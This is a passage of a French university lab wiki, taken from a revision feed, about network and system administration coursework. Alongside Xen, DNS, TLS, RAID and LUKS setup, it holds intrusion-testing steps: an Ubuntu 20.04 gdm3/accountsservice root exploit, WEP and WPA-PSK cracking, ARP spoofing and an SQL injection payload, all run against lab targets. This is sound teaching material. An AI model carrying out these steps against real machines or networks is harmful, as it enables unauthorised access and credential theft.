Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg, puis on redémarre la VM pour réaliser les actions qui suivent.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on installe le paquet mdadm.&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==6.2  Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 $ fdisk -l # on répère la clé USB&lt;br /&gt;
 $ fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 $ cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 $ cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 $ mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/USB &lt;br /&gt;
 $ mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 $ touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 $ umount /mnt/USB&lt;br /&gt;
 $ cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
== 6.4  Sécurisation WiFi par WPA2-EAP (FreeRADIUS) ==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54220</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54220"/>
				<updated>2020-12-01T21:11:20Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* 4.2  Serveur DNS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=2. Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=4. Services Internet=&lt;br /&gt;
==4.0 Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, ssh sur la zabeth09, puis minicom : &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
 $  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==4.1  Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 $ service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 $ ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==4.2  Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré noter nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
1ère étape: &lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine.&lt;br /&gt;
&lt;br /&gt;
2ème étape:&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire ( ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
3ème partie:&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS ( ns1.piedbleu.site et ns6.gandi.net ) ainsi que l'adresse du premier NS : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant configurer le serveur mail de notre VM:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix ( configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot; ).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
==4.3 Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Afin de configurer le service http Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une Demande de Signature de Cerificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
- newkey tsa:2048 permet de génerer une requete CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
- keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
- -out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr&lt;br /&gt;
&lt;br /&gt;
Le fichier piedbleu.csr nous permet de faire une demande de certificat auprès de Gandi. Nous allons pour cela copier son contenu sur l'interface de Gandi lors de la procédure d'achat de certificat.&lt;br /&gt;
&lt;br /&gt;
On reçoit alors un mail de vérification de la part de Gandi avec un lien et un mot de passe de vérification. Après avoir rentrer le mot de passe dans la zone appropriée, nous avons pu récurer sur Gandi notre certificat ainsi qu'un certificat intermédiaires. Nous téléchargeons et plaçons ces certificats dans un répertoire spécifique:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.crt&lt;br /&gt;
 /etc/ssl/GandiStandardSSLCA2.pem&lt;br /&gt;
&lt;br /&gt;
Nous copions aussi notre clé privée dans ce repertoire:&lt;br /&gt;
&lt;br /&gt;
 /etc/ssl/piedbleu.site.key&lt;br /&gt;
&lt;br /&gt;
=5. Tests d’intrusion=&lt;br /&gt;
&lt;br /&gt;
==5.1  Exploitation de failles du système : Ubuntu 20.04 en *exclusivité* ==&lt;br /&gt;
&lt;br /&gt;
Plutôt que d'utiliser un ancien noyau Linux et des outils comme Metasploit, je vous propose en  &amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; '''exclusivité dans le département IMA''' &amp;lt;/span&amp;gt; l'exploitation de plusieurs vulnérabilités dans la dernière version de Ubuntu, la 20.04.1, kernel 5.6. Ces exploits ont été publiés le 10/11/2020 et aujourd'hui, à l'heure où j'écris ces lignes nous sommes le 11/11/2020. En ce jour férié, en parcourant l'actualité IT, j'ai apperçu un article fort intéressant, que je vais reprendre ici pour obtenir les droits administrateurs sur la machine Linux : &lt;br /&gt;
&lt;br /&gt;
1) J'installe Ubuntu 20.04 dans une VM.&lt;br /&gt;
&lt;br /&gt;
2) Par défaut la session fait partie du groupe sudo, je fais donc un compte utilisateur standard pour mener à bien mon exploit, sinon c'est de la triche...&lt;br /&gt;
&lt;br /&gt;
 $ sudo adduser u1&lt;br /&gt;
 $ su u1&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1001(u1) gid=1001(u1) groupes=1001(u1)&lt;br /&gt;
&lt;br /&gt;
3) On fait un DOS (denial of service) sur accounts-daemon, pour ce faire on fait d'abord le lien symbolique suivant : &lt;br /&gt;
&lt;br /&gt;
 $ ln -s /dev/zero ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Puis on va dans Settings &amp;gt; Region and Language &amp;gt; Language, et on change de langue. On se rend vite compte que le CPU tourne à 100%. En faisant la commande : &lt;br /&gt;
&lt;br /&gt;
 $ top&lt;br /&gt;
&lt;br /&gt;
On se rend compte que accounts-daemon utilise presque toutes les ressources CPU. On récupère son PID, puis on lui envoie le signal SIGSTOP.&lt;br /&gt;
&lt;br /&gt;
 $ kill -SIGSTOP 1098&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut supprimer le lien symbolique qui a causé le DOS pour ne pas que l'exploit se relance à chaque nouvelle session.&lt;br /&gt;
&lt;br /&gt;
 $ rm ~/.pam_environment&lt;br /&gt;
&lt;br /&gt;
Ici on va faire crasher le accounts-daemon, mais seulement une fois que l'on s'est déconnecté, on lance donc cette tâche en arrière plan après 10 secondes. &lt;br /&gt;
 &lt;br /&gt;
 $ nohup bash -c &amp;quot;sleep 10s; kill -SIGSEGV 1098; kill -SIGCONT 1098&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On se déconnecte de notre session.&lt;br /&gt;
&lt;br /&gt;
Le menu &amp;quot;Welcome&amp;quot; de Ubuntu apparaît après quelques temps d'attente !! C'est le menu d'installation de Ubuntu qui est censé venir seulement la 1ere fois que l'on installe l'OS sur notre machine. On va donc être en mesure de configurer une nouvelle session qui aura les droits administrateurs sur la machine (et ce, sans supprimer les autres comtpes). Un nouvel utilisateur apparaît sur la machine ! &lt;br /&gt;
&lt;br /&gt;
 $ whoami&lt;br /&gt;
 pwn&lt;br /&gt;
 $ id&lt;br /&gt;
 uid=1002(pwn) gid=1002(pwn) groupes=1002(pwn), 27(sudo)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Explication : '''&lt;br /&gt;
&lt;br /&gt;
En changeant la langue dans &amp;quot;Region and Language&amp;quot;, le programme accountsservice daemon (accounts-daemon) va lire le fichier .pam_environment situé dans le home. Cependant nous avons fait un lien symbolique malicieux pointant sur /dev/zero. Le programme va donc tourner en boucle infini car il n'arrivera jamais à finir de lire /dev/zero.&lt;br /&gt;
&lt;br /&gt;
La deuxième faille réside dans le fait que accounts-daemon abaisse ses privilèges root en privilège standard seulement quand il lit le .pam_environment. Or il est enfermé dans une boucle infini grâce à notre lien malicieux. On va donc pouvoir lui envoyer les signaux SIGSTOP, SIGSEGV, SIGCONT sans avoir de droit root. En fait à la base l'abaissement de privilège est une protection pour empêcher de lire dans /etc/shadow par exemple... &lt;br /&gt;
&lt;br /&gt;
Ensuite, on se déconnecte de notre session en lançant en arrière plan le kill -SIGSEGV de accounts-daemon. Sauf que le gestionnaire de session gdm3 demande à accounts-daemon combien de session il y a afin de nous permettre de choisir laquelle on va utiliser pour se connecter. Accounts-daemon étant hors service, gdm3 va lire la valeur par défaut de priv-&amp;gt;have_existing_user_accounts, qui est : &amp;quot;false&amp;quot;. Gdm3 pense donc qu'il n'y a aucune session sur la machine et va lancer gnome-initial-setup.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Note 1 : ''' La faille semble avoir été rapidement patchée.&lt;br /&gt;
&lt;br /&gt;
'''Note 2 : ''' Les failles exploitées lors de l'élévation de privilège : &lt;br /&gt;
&lt;br /&gt;
accountsservice denial of service (GHSL-2020-187, GHSL-2020-188 / CVE-2020-16126, CVE-2020-16127)&lt;br /&gt;
&lt;br /&gt;
gdm3 privilege escalation due to unresponsive accounts-daemon (GHSL-2020-202 / CVE-2020-16125)&lt;br /&gt;
&lt;br /&gt;
'''Version du noyau et des parquets : '''&lt;br /&gt;
 Ubuntu 20.04.1 LTS, kernel 5.6&lt;br /&gt;
 gdm3, version 3.36.3-0ubuntu0.20.04.1&lt;br /&gt;
 accountsservice, version 0.6.55-0ubuntu12~20.04.1&lt;br /&gt;
&lt;br /&gt;
''' Source : ''' &lt;br /&gt;
&lt;br /&gt;
''How to get root on Ubuntu 20.04 by pretending nobody’s /home'', Kevin Backhouse, November 10 2020&lt;br /&gt;
&lt;br /&gt;
https://securitylab.github.com/research/Ubuntu-gdm3-accountsservice-LPE&lt;br /&gt;
&lt;br /&gt;
==5.2  Cassage de clef WEP d’un point d’accès WiFi==&lt;br /&gt;
&lt;br /&gt;
Nous commençons tout d’abord par installer le paquet aircrack :&lt;br /&gt;
&lt;br /&gt;
 $ apt-get install aircrack-ng&lt;br /&gt;
&lt;br /&gt;
À partir de là, nous listons la liste des interfaces wifi disponibles :  (pour repérer le nom du réseau sans fil correspondant à notre binôme) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
[[Fichier:screen1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On remarque que notre carte wifi est désignée par le nom wlp1s0mon qui correspond à l’interface.&lt;br /&gt;
&lt;br /&gt;
Nous passons ensuite notre interface en mode monitor, pour écouter le trafic wifi aux alentours.&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On peux ensuite lancer le scan des réseaux wifi environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wep wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On repère le point d’accès qui correspond au réseau wifi qui nous intéresse ( cracotte 08). on récupère le bssid : 04:DA:D2:9C:50:57 , et le chanel : 3.&lt;br /&gt;
&lt;br /&gt;
On capture ensuite les paquets émis par le point  d’accès cible :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --write mon_fichier --channel 3 --bssid 04:DA:D2:9C:50:57 wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen3.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On se concentre sur l’indicateur #Data qui permet de savoir le nombre de paquets data collecté. Une fois que ce nombre atteint 30000, on lance dans un autre terminal le crack de la clé :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -z mon_fichier-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screen4.png|600px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On voit que le programme a réussi à trouver la clé ( message « Key Found »).&lt;br /&gt;
&lt;br /&gt;
==5.3  Cassage de mot de passe WPA-PSK par force brute==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie continuer à utiliser aircrack. Les premières étapes sont similaires à celles pour le cassage d'une clé WEP. Nous commençons par lister les interfaces wifi disponibles (airmon-ng), puis on passe l'interface en mode monitor (airmon-ng start wlp1s0mon).&lt;br /&gt;
&lt;br /&gt;
On lance ensuite le scan des réseaux wifi WPA PSK environnants :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng --encrypt wpa-psk wlp1s0mon&lt;br /&gt;
&lt;br /&gt;
[[Fichier:scankracotte.png || 600px]]&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir des informations supplémentaires sur les réseaux wifi, comme le BSSID, le Channel, l'AUTH ( le mode d'authentification), ainsi que l'ESSID ( le nom du routeur ). &lt;br /&gt;
&lt;br /&gt;
Nous utilisons alors le BSSID ainsi que le Channel du réseau wifi kracotte03 dans la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlp1s0mon --bssid 00:14:1B:60:8C:22 --ch 3 -w capture&lt;br /&gt;
&lt;br /&gt;
Cette commande nous permet d'obtenir un handshake. Nous la laissons tourner en boucle jusqu'à ce que nous obtenions ce fameux handshake.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Handshake1.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
Maintenant que nous avons obtenu le handshake, nous allons faire une attaque par bruteforce. Pour cela, nous générerons tout d'abord toutes les combinaisons possibles de mots de passe de taille 8, composés uniquement de chiffre. &lt;br /&gt;
&lt;br /&gt;
Pour construire ce dictionnaire, nous utilisons la commande crunch (que nous avons au préalable installée):&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 -o 12345678 &amp;gt; motdepasse.txt&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ici la longueur minimum et maximum du mot de passe (8), les caractères à utiliser (012345678), puis nous effectuons une redirection vers motdepasse.txt.&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous effectuons l'attaque par bruteforce avec la commande suivante : &lt;br /&gt;
&lt;br /&gt;
 $ aircrak-ng -a2 -b 00:14:1B:60:8C:27 -w motdepasse.txt *.cap&lt;br /&gt;
&lt;br /&gt;
Comme la méthode bruteforce prend du temps, nous lançons l'attaque la nuit, en ssh sur notre zabeth. 4h plus tard, nous obtenons le mot de passe de la kracotte : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:WPA-5.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.4  Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on install dsniff sur l'eepc. Ensuite on le transforme en routeur : &lt;br /&gt;
&lt;br /&gt;
 apt install dsniff&lt;br /&gt;
 export PATH=/sbin:/usr/sbin:$PATH&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on lance arpspoof pour placer l'eepc entre la zabeth et le routeur : &lt;br /&gt;
&lt;br /&gt;
 arpspoof -i enp4s0 -t 172.26.145.60 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Ensuite, on trouve une page HTTP avec un petit formulaire POST. La page n'étant pas sécurisé par TLS ou SSL, les données seront échangées en clair. On ouvre Wireshark dans l'eepc et dans la zabeth on se rend sur un site vulnérable (par exemple : http://fabricarium-old.polytech-lille.fr).&lt;br /&gt;
&lt;br /&gt;
En tentant de se connecter, on se rend compte que la requête POST a bien été transmise à l'eepc qui l'a redirigé vers le routeur : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Mitm-pra.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==5.5  Intrusion sur un serveur d’application Web==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous nous rendons sur honey.plil.info. Nous apercevons un formulaire, que l'on exploite par injection SQL : &lt;br /&gt;
&lt;br /&gt;
 ' OR 1 = 1 --&lt;br /&gt;
&lt;br /&gt;
D'un autre côté nous effectuons un nmap sur le serveur afin d'avoir une idée des services que l'on pourra exploiter (ou juste utiliser...).&lt;br /&gt;
&lt;br /&gt;
 nmap -T4 -A honey.plil.info&lt;br /&gt;
&lt;br /&gt;
On obtient : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap-g8-2021 1.2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
Nous essayons de faire un ssh avec les id trouvés par injections SQL... sans succès.&lt;br /&gt;
&lt;br /&gt;
De retour sur le site honey.plil.info, nous remarquons la présence d'une seconde page avec formulaire : honey.plil.info/phpmyadmin. Mais nous n'avons pas le mot de passe. L'injection SQL ne semble pas fonctionner.&lt;br /&gt;
&lt;br /&gt;
De retour sur la 1ere page, on se connecte sur honey.plil.info avec les ids récupérés par injection SQL. En exploitant bien comme il faut les fonctionnalités du site, on arrive à récupérer le mot de passe de notre seconde page.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc sur cette seconde page, et après quelques recherches dans la base de données, on retrouve un identifiant et un mot de passe.&lt;br /&gt;
&lt;br /&gt;
On utilise cette découverte pour se connecter sur le serveur en SSH.&lt;br /&gt;
&lt;br /&gt;
Cependant, cet utilisateur n'est pas root. Il peut néanmoins lire le fichier des mots de passe. On récupère ainsi le mot de passe haché de l'administrateur root.&lt;br /&gt;
&lt;br /&gt;
Pour avoir son mot de passe, on réalise une attaque par brute force avec dictionnaire.&lt;br /&gt;
&lt;br /&gt;
Nous construisons ce dictionnaire avec crunch en reprenant un indice donné dans l'énoncé.&lt;br /&gt;
&lt;br /&gt;
Quelques temps plus tard... John nous donne le mot de passe root !&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons sur le serveur en tant que root et nous y laissons la trace de notre passe &amp;quot;I was here&amp;quot; : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Hack-honey.png|600px]]&lt;br /&gt;
&lt;br /&gt;
=6. Réalisations=&lt;br /&gt;
&lt;br /&gt;
== 6.1  Sécurisation de données : RAID 5 logiciel==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on crée 3 partitions vituelles : &lt;br /&gt;
&lt;br /&gt;
